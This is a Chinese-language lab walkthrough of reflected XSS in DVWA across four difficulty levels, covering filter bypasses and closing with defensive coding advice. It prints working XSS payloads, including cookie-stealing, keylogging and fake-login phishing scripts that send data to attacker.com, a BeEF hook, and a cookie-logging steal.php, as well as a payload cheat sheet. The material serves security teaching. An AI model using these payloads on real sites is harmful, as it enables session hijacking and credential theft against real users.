目录
漏洞简介
什么是反射型XSS(Reflected Cross-Site Scripting)?
反射型XSS是一种客户端代码注入攻击,攻击者将恶意脚本注入到URL参数或表单中,服务器将这些恶意内容”反射”回页面并在浏览器中执行。
攻击流程:
- 攻击者构造包含恶意脚本的URL
- 受害者点击恶意链接
- 服务器将恶意脚本反射到响应页面
- 浏览器执行恶意脚本
危害:
- 窃取Cookie和Session
- 钓鱼攻击
- 键盘记录
- 篡改页面内容
- 重定向到恶意网站
- 传播蠕虫
与存储型XSS的区别:
- 反射型:恶意代码在URL中,不存储在服务器
- 存储型:恶意代码存储在数据库,持久化攻击
Low 难度
攻击目标
完全未过滤的输入输出,直接执行用户脚本。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
header ("Content-Type: text/html;charset=utf-8");
if( isset( $_GET[ 'name' ] ) ) {
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }
?>
|
漏洞分析
核心问题:
- 直接输出用户输入 - 没有任何过滤
- 无HTML编码 - 特殊字符
<>不转义
- 无内容安全策略 - 允许执行任意脚本
- 无输入验证 - 接受任何字符
攻击原理:
1 2 3 4 5 6 7 8
| ?name=Alice 输出:<pre>Hello Alice</pre>
?name=<script>alert('XSS')</script> 输出:<pre>Hello <script>alert('XSS')</script></pre> 结果:浏览器执行脚本,弹出XSS对话框
|
攻击步骤
步骤1:基础测试
测试1:简单弹窗
1 2 3 4 5 6 7 8
| <script>alert('XSS')</script>
http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>
页面弹出对话框显示"XSS"
|
测试2:大小写混淆
1 2
| <ScRiPt>alert('XSS')</ScRiPt>
|
测试3:其他标签
1 2 3 4 5 6 7 8
| <img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>
|
步骤2:窃取Cookie
Payload:
1 2 3 4 5 6 7 8 9 10
| <script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie; </script>
<script>location='http://attacker.com/?c='+document.cookie</script>
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">
|
攻击者服务器(steal.php):
1 2 3 4 5 6 7
| <?php
$cookie = $_GET['cookie']; $log = fopen('cookies.txt', 'a'); fwrite($log, date('Y-m-d H:i:s') . ' - ' . $cookie . "\n"); fclose($log); ?>
|
步骤3:键盘记录
1 2 3 4 5 6
| <script>
document.onkeypress = function(e) { fetch('http://attacker.com/log.php?key=' + e.key); } </script>
|
步骤4:钓鱼攻击
1 2 3 4 5 6 7 8 9 10 11 12 13
| <script> // 创建假登录表单 document.body.innerHTML = ` <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"> <h1>Session Expired</h1> <form action="http://attacker.com/phish.php" method="POST"> Username: <input name="user"><br> Password: <input type="password" name="pass"><br> <button>Login</button> </form> </div> `; </script>
|
步骤5:BeEF挂钩
1 2 3 4
| <script src="http://attacker.com:3000/hook.js"></script>
|
步骤6:URL编码绕过
如果链接被过滤,使用URL编码:
1 2 3 4 5 6
| 原始:<script>alert('XSS')</script>
URL编码:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
完整URL: http://dvwa.local/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
|
Medium 难度
攻击目标
添加了简单的过滤,但可以绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
header ("Content-Type: text/html;charset=utf-8");
if( isset( $_GET[ 'name' ] ) ) {
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>"; }
?>
|
新增防护
- str_replace()过滤 - 删除
<script>标签
仍存在的漏洞
问题分析:
- 只过滤
<script> - 不过滤其他标签(img, svg, body等)
- 大小写敏感 - 只过滤小写
- 只替换一次 - 可以双写绕过
- 无全局过滤 - 不过滤事件处理器
绕过方法
方法1:大小写混淆
1 2 3 4 5 6 7
| <script>alert('XSS')</script> ✗
<Script>alert('XSS')</Script> ✓ <SCRIPT>alert('XSS')</SCRIPT> ✓ <ScRiPt>alert('XSS')</ScRiPt> ✓
|
方法2:使用其他标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<input onfocus=alert('XSS') autofocus>
<details open ontoggle=alert('XSS')>
|
方法3:双写绕过
1 2 3 4 5 6 7
| <scr<script>ipt>alert('XSS')</scr</script>ipt>
1. 原始:<scr<script>ipt>alert('XSS')</script> 2. 替换<script>为空:<script>alert('XSS')</script> 3. 结果:绕过成功!
|
方法4:事件处理器
1 2 3 4 5 6 7 8
| <div onclick=alert('XSS')>Click me</div>
<div onmouseover=alert('XSS')>Hover me</div>
<img src=x onerror=alert('XSS')>
|
High 难度
攻击目标
使用正则表达式过滤,但仍可绕过。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
header ("Content-Type: text/html;charset=utf-8");
if( isset( $_GET[ 'name' ] ) ) {
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>"; }
?>
|
新增防护
- 正则表达式过滤 - 过滤各种形式的
<script>
- 不区分大小写 -
/i标志
- 匹配变形 - 过滤
<s...c...r...i...p...t
仍存在的漏洞
核心问题:
仍然只过滤<script>标签,其他HTML标签和事件处理器完全可用!
绕过方法
方法1:使用img标签
1 2 3 4
| <img src=x onerror=alert('XSS')>
<IMG SRC=x ONERROR=alert('XSS')>
|
方法2:使用svg标签
1 2 3 4
| <svg onload=alert('XSS')>
<svg/onload=alert('XSS')>
|
方法3:使用body标签
1
| <body onload=alert('XSS')>
|
方法4:使用iframe
1 2 3 4
| <iframe src="javascript:alert('XSS')">
<iframe src="data:text/html,<script>alert('XSS')</script>">
|
1
| <input onfocus=alert('XSS') autofocus>
|
方法6:HTML5新标签
1 2 3 4 5 6 7 8 9 10 11
| <details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>
<video src=x onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>
|
Impossible 难度
攻击目标
使用htmlspecialchars()正确编码,无法攻破。
后端代码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
header ("Content-Type: text/html;charset=utf-8");
if( isset( $_GET[ 'name' ] ) ) {
$name = htmlspecialchars( $_GET[ 'name' ] );
$html .= "<pre>Hello {$name}</pre>"; }
?>
|
完善的防护机制
htmlspecialchars()工作原理:
1 2 3 4 5 6 7 8 9 10 11
| <script>alert('XSS')</script>
<script>alert('XSS')</script>
<script>alert('XSS')</script>(作为文本显示)
因为<和>被转换为实体,浏览器不会将其解析为HTML标签
|
详细转换示例:
1 2 3 4 5 6 7 8 9 10 11
| 输入:<img src=x onerror=alert('XSS')> 输出:<img src=x onerror=alert('XSS')> 显示:<img src=x onerror=alert('XSS')>(纯文本)
输入:<svg onload=alert('XSS')> 输出:<svg onload=alert('XSS')> 显示:<svg onload=alert('XSS')>(纯文本)
输入:"><script>alert('XSS')</script> 输出:"><script>alert('XSS')</script> 显示:"><script>alert('XSS')</script>(纯文本)
|
为什么无法攻破?
所有攻击都被转义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 尝试1:<script>alert('XSS')</script> 结果:<script>alert('XSS')</script> 状态:失败(作为文本显示)
尝试2:<img src=x onerror=alert('XSS')> 结果:<img src=x onerror=alert('XSS')> 状态:失败(作为文本显示)
尝试3:<svg onload=alert('XSS')> 结果:<svg onload=alert('XSS')> 状态:失败(作为文本显示)
尝试4:"><script>alert('XSS')</script> 结果:"><script>alert('XSS')</script> 状态:失败(引号也被转义)
|
关键防御点:
- 所有HTML标签被转义 -
<>变为<>
- 引号被转义 - 无法闭合属性
- 转换为HTML实体 - 浏览器将其视为文本
- 适用于所有上下文 - 标签、属性、内容都安全
防御建议
代码层面
1. 输出编码(最重要)
1 2 3 4 5 6 7
| $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo "<div>$safe_output</div>";
|
2. 不同上下文使用不同编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
echo "<script>var name = " . json_encode($input) . ";</script>";
urlencode($input);
|
3. 内容安全策略(CSP)
1 2 3 4 5
| header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");
|
CSP配置示例:
1 2 3 4 5 6 7
| Content-Security-Policy: default-src 'self'; # 默认只允许同源 script-src 'self' 'nonce-{random}'; # 脚本必须有nonce style-src 'self' 'unsafe-inline'; # 允许内联样式 img-src *; # 允许任何来源的图片 object-src 'none'; # 禁止<object> base-uri 'self'; # 限制<base>
|
4. 输入验证(辅助)
1 2 3 4 5 6 7 8 9 10
| $allowed = '/^[a-zA-Z0-9 ]+$/'; if (!preg_match($allowed, $input)) { die("Invalid input"); }
if (strlen($input) > 100) { die("Input too long"); }
|
5. HttpOnly Cookie
1 2 3 4 5 6
| setcookie('session', $value, [ 'httponly' => true, // 防止XSS窃取Cookie 'secure' => true, // 只通过HTTPS传输 'samesite' => 'Strict' // 防止CSRF ]);
|
框架层面
Laravel示例
1 2 3 4 5
| {{ $user_input }}
{!! $html_content !!}
|
React示例
1 2 3 4 5
| <div>{userInput}</div> // 安全
// 危险方式(避免使用) <div dangerouslySetInnerHTML={{__html: userInput}} />
|
架构层面
使用模板引擎
- Twig(PHP)
- Jinja2(Python)
- Handlebars(JavaScript)
- 自动转义输出
WAF(Web应用防火墙)
- ModSecurity
- Cloudflare WAF
- AWS WAF
定期审计
总结对比
| 特性 |
Low |
Medium |
High |
Impossible |
| 输出编码 |
❌ |
❌ |
❌ |
✅ htmlspecialchars |
| 过滤方式 |
无 |
str_replace |
preg_replace |
N/A |
| 过滤目标 |
无 |
<script> |
<script>变形 |
N/A |
| 大小写 |
N/A |
敏感 |
不敏感 |
N/A |
| 可绕过性 |
完全开放 |
容易 |
容易 |
不可绕过 |
| 典型Payload |
<script> |
<img> |
<img> |
无效 |
| 攻击难度 |
极易 |
简单 |
简单 |
不可能 |
常用XSS Payload集合
基础Payload
1 2 3 4 5 6 7 8 9 10 11
| <script>alert('XSS')</script> <script>alert(document.domain)</script> <script>alert(document.cookie)</script>
<ScRiPt>alert('XSS')</ScRiPt> <SCRIPT>alert('XSS')</SCRIPT>
<scr<script>ipt>alert('XSS')</script>
|
事件处理器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <img src=x onerror=alert('XSS')> <img src=x onerror="alert('XSS')"> <img src=x onerror="alert(String.fromCharCode(88,83,83))">
<body onload=alert('XSS')> <svg onload=alert('XSS')> <iframe onload=alert('XSS')>
<div onclick=alert('XSS')>Click</div> <button onclick=alert('XSS')>Click</button>
<div onmouseover=alert('XSS')>Hover</div> <img src=x onmouseover=alert('XSS')>
|
HTML5标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <svg/onload=alert('XSS')> <svg><script>alert('XSS')</script></svg>
<details open ontoggle=alert('XSS')>
<video src=x onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>
<marquee onstart=alert('XSS')>
|
JavaScript伪协议
1 2 3 4
| <a href="javascript:alert('XSS')">Click</a> <iframe src="javascript:alert('XSS')"> <form action="javascript:alert('XSS')"> <button formaction="javascript:alert('XSS')">
|
编码绕过
1 2 3 4 5 6 7 8 9 10 11
| <img src=x onerror="alert('XSS')">
<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>
<img src=x onerror="alert('XSS')">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">
|
Cookie窃取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <script>document.location='http://attacker.com/?c='+document.cookie</script>
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="this.src='http://attacker.com/?c='+document.cookie">
<script> var xhr=new XMLHttpRequest(); xhr.open('GET','http://attacker.com/?c='+document.cookie); xhr.send(); </script>
|
实战建议
学习路径:
- Low难度 - 理解XSS基本原理
- Medium难度 - 学习简单绕过技巧
- High难度 - 掌握正则绕过方法
- Impossible难度 - 理解正确的防御
测试流程:
- 输入
<script>alert(1)</script>测试
- 如果被过滤,尝试大小写混淆
- 如果仍被过滤,使用其他标签
- 使用Burp Suite查看过滤规则
- 针对性构造Payload
工具推荐:
- Burp Suite - 拦截和修改请求
- XSSer - 自动化XSS扫描
- BeEF - 浏览器利用框架
- XSS Hunter - XSS盲打平台
道德准则:
- 只在授权环境测试
- 不窃取真实用户数据
- 学习目的是防御,不是攻击